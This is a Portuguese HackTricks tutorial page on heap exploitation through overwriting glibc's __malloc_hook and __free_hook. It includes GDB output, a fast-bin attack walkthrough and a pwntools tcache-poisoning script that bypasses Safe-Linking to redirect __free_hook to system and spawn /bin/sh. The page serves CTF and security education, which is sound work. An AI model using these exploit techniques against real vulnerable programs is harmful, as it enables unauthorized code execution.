WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Malloc Hook

Como você pode ver no site oficial do GNU, a variável __malloc_hook é um ponteiro que aponta para o endereço de uma função que será chamada sempre que malloc() for chamado armazenado na seção de dados da biblioteca libc. Portanto, se esse endereço for sobrescrito com um One Gadget, por exemplo, e malloc for chamado, o One Gadget será chamado.

Para chamar malloc, é possível esperar que o programa o chame ou **chamando printf("%10000$c")**, que aloca muitos bytes, fazendo com que libc` chame malloc para alocá-los na heap.

Mais informações sobre One Gadget em:

One Gadget

warning

Note que hooks estão desativados para GLIBC >= 2.34. Existem outras técnicas que podem ser usadas em versões modernas do GLIBC. Veja: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

Isso foi abusado em um dos exemplos da página abusando de um ataque de fast bin após ter abusado de um ataque de unsorted bin:

Unsorted Bin Attack

É possível encontrar o endereço de __free_hook se o binário tiver símbolos com o seguinte comando:

bash
gef➤  p &__free_hook

No post você pode encontrar um guia passo a passo sobre como localizar o endereço do free hook sem símbolos. Em resumo, na função free:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

No ponto de quebra mencionado no código anterior, em $eax estará localizado o endereço do free hook.

Agora um fast bin attack é realizado:

  • Primeiro de tudo, é descoberto que é possível trabalhar com chunks de tamanho 200 na localização de __free_hook:
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
  • Para isso, um novo chunk de tamanho 0xfc é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho 0xfc*2 = 0x1f8 no fast bin.
  • Em seguida, a função de edição é chamada neste chunk para modificar o endereço fd deste fast bin para apontar para a função __free_hook anterior.
  • Depois, um chunk com tamanho 0x1f8 é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho 0x1f8 é criado para obter um chunk do fast bin na __free_hook que é sobrescrito com o endereço da função system.
  • E finalmente, um chunk contendo a string /bin/sh\x00 é liberado chamando a função de delete, acionando a função __free_hook que aponta para system com /bin/sh\x00 como parâmetro.

Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)

glibc 2.32 introduziu Safe-Linking – uma verificação de integridade que protege as listas simples ligadas usadas por tcache e fast-bins. Em vez de armazenar um ponteiro direto (fd), ptmalloc agora o armazena ofuscado com o seguinte macro:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Consequências da exploração:

  1. Um heap leak é obrigatório – o atacante deve conhecer o valor em tempo de execução de chunk_addr >> 12 para criar um ponteiro ofuscado válido.
  2. Apenas o ponteiro de 8 bytes completo pode ser forjado; sobrescritas parciais de um byte não passarão na verificação.

Um primitivo mínimo de envenenamento de tcache que sobrescreve __free_hook no glibc 2.32/2.33, portanto, se parece com:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

O trecho acima foi adaptado de desafios recentes de CTF, como UIUCTF 2024 – «Rusty Pointers» e openECSC 2023 – «Babyheap G», ambos os quais dependiam de bypasses de Safe-Linking para sobrescrever __free_hook.


O que mudou no glibc ≥ 2.34?

A partir do glibc 2.34 (agosto de 2021), os hooks de alocação __malloc_hook, __realloc_hook, __memalign_hook e __free_hook foram removidos da API pública e não são mais invocados pelo alocador. Símbolos de compatibilidade ainda são exportados para binários legados, mas sobrescrevê-los não influencia mais o fluxo de controle de malloc() ou free().

Implicação prática: em distribuições modernas (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.), você deve mudar para outros primitivos de sequestro (IO-FILE, __run_exit_handlers, vtable spraying, etc.) porque sobrescritas de hooks falharão silenciosamente.

Se você ainda precisa do comportamento antigo para depuração, o glibc fornece libc_malloc_debug.so, que pode ser pré-carregado para reabilitar os hooks legados – mas a biblioteca não é destinada à produção e pode desaparecer em lançamentos futuros.


Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks